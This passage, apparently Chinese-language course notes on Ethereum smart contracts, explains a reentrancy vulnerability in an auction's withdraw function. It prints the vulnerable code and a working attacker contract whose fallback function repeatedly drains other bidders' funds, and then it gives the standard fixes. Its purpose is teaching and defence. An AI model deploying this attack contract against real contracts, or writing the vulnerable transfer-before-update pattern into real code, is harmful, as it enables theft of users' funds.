- //使用withdraw模式
- //由投标者自己取回出价,返回是否成功
- function withdraw( ) public returns (bool) {
- //拍卖已截止
- require(now > auctionEnd);
- //竞拍成功者需要把钱给受益人,不可取回出价,如果不是最高出价者
- require(msg.sender != highestBidder);
- //当前地址有钱可取
- require(bids[msg.sender] > 0);//账户余额是否为正
-
- uint amount = bids[msg.sender];//账户余额
- if(msg.sender.call.value(amount)()) {//把账户余额转给msg.sender
- bids[msg.sender] = 0;//把账户余额清成0
- return true;
- }
- return false;
- }
-
- //把最高出价给这个受益人,也是判断一下拍卖已经结束了
- //最高出价的金额大于零,下面再把它转过去
- event Pay2Beneficiary( address winner,uint amount);
- //结束拍卖,把最高的出价发送给受益人
-
- function pay2Beneficiary ()public returns(bool) {
- //拍卖已截止
- require(now > auctionEnd);
- //有钱可以支付
- require(bids[highestBidder] > 0);//最高出价的金额大于零
-
- uint amount = bids[highestBidder];
- bids[highestBidder] = 0;
- emit Pay2Beneficiary(highestBidder,bids[highestBidder]);
- if(!beneficiary.call.value(amount)()){
- bids[highestBidder] = amount;
- return false;
- }
- return true;
- }
(1)存在的问题
重入攻击,如果有黑客写了一个如下方程序会怎么样?
- pragma solidity ^0.4.21;
-
- import "./simpleAuctionv2.sol";
-
- contract HackV2 {
- uint stack = 0;
- function hack_bid( address addr) payable public {
- simpleAuctionv2 sa = simpleAuctionv2(addr);
- sa.bid.value(msg.value)();
- }
-
- function hack_withdraw(address addr) public payable{
- SimpleAuctionv2(addr).withdraw();
- }
-
- function() public payable{
- stack += 2;
- //当前调用的剩余汽油,msg.gas还有6000个单位以上,调用栈的深度不超过500
- if (msg.sender.balance >= msg.value && msg.gas > 6000 && stack < 500{
- SimpleAuctionV2(msg.sender).withdraw();
- }
- }
- }
这个hack_bid跟前面的那个黑客合约hack_bid合约是一样的,通过调用拍卖bid函数参与竞拍,hack_withdraw就在拍卖结束的时候调用withdraw函数,把钱取回来,这两个看上去好像都没有问题,问题在于fallback函数,他又把钱取了一遍。
在hack_withdraw调用withdraw函数的时候,执行到“if(msg.sender.call.value(amount)())”会向黑客合约转账,这个msg.sender就是黑客的合约,把当初出价的金额转给他,而在这个合约中,又调用了拍卖函数的withdraw函数“SimpleAuctionV2(msg.sender).withdraw();”,又去取钱,fallback函数这里的msg.sender就是这个拍卖合约,因为是拍卖合约把这个钱转给这个合约的,这个左边的拍卖合约执行到if那里,再给他转一次钱,注意这个清零的操作,把黑客合约账户清零的操作,只有在转账交易完成之后,才会进行,而前面if这个转账的语句已经陷入到了跟黑客合约当中的递归调用当中,根本执行不到下面这个清零操作,所以最后的结果就是这个黑客一开始出价的时候给出了一个价格,拍卖结束之后,就按照这个价格不停地从这个智能合约中去取钱,第一次取得是他自己的出价,后面取得就是别人的钱了。
递归重复取钱,持续到什么时候会结束?有三种情况,一个是这个拍卖合约上的余额不够了,不足以在支持这个转账的语句,第二种情况是汽油费不够了,因为每次调用的时候还是消耗汽油费的,到最后没有足够的汽油剩下来了,第三种情况,调用栈溢出了,所以黑客合约的fallback函数判断一下这个拍卖合约的余额还足以支持转账,当前调用的剩余汽油,msg.gas还有6000个单位以上,调用栈的深度不超过500。那么就再发起一轮攻击,那怎么办呢?
(2)如何处理
最简单的就是先清零再转账,就是Pay2Beneficiary的这种写法,把highestBidder的账户余额清成零了(在bids哈希表里面的余额已经清成0了),然后再转账,转账如果不成功的话,再把余额恢复。这个实际上是对于可能跟其他合约发生交互的情况的一种经典的编程模式,就先要判断条件,然后改变条件,最后再跟别的合约发生交互。在区块链上,任何未知的合约都可能使有恶意的,所以每次你向对方转账或者使调用对方某个函数的时候,都要提醒下自己,这个合约,这个函数有可能反过来调用你当前的这个合约,并且修改状态,小心一点总是好的。
另一种修改方式:
除了这个修改方式以外,还有一种方法,如图2-2所示,不用call.value的形式转账,对比一下修改前后的两段代码(绿框的部分),把清零的位置提前了(先清零再转账);而且转账的时候用的是sender,用transfer也可以,sender和transfer一个共同的特点就是转账的时候发送过去的汽油费只有2300个单位,这个不足以让接收的那个合约再发起一个新的调用,只够写一个log而已。
这个时候就没有问题了。
另外,下图2-3所示,这个黑客合约没有写fallback函数,如果这个不是一个黑客合约,就是一个普通的账户,他忘了写fallback函数。怎么办?没有办法,就算这个账户愿意改,也是改不了的,他没有办法把fallback函数补上了,因为发布到区块链上去了,这个账户可以再创建一个新的合约,但是这个合约已经参与这个拍卖了,已经被记录在这个循环里面了,也没有办法。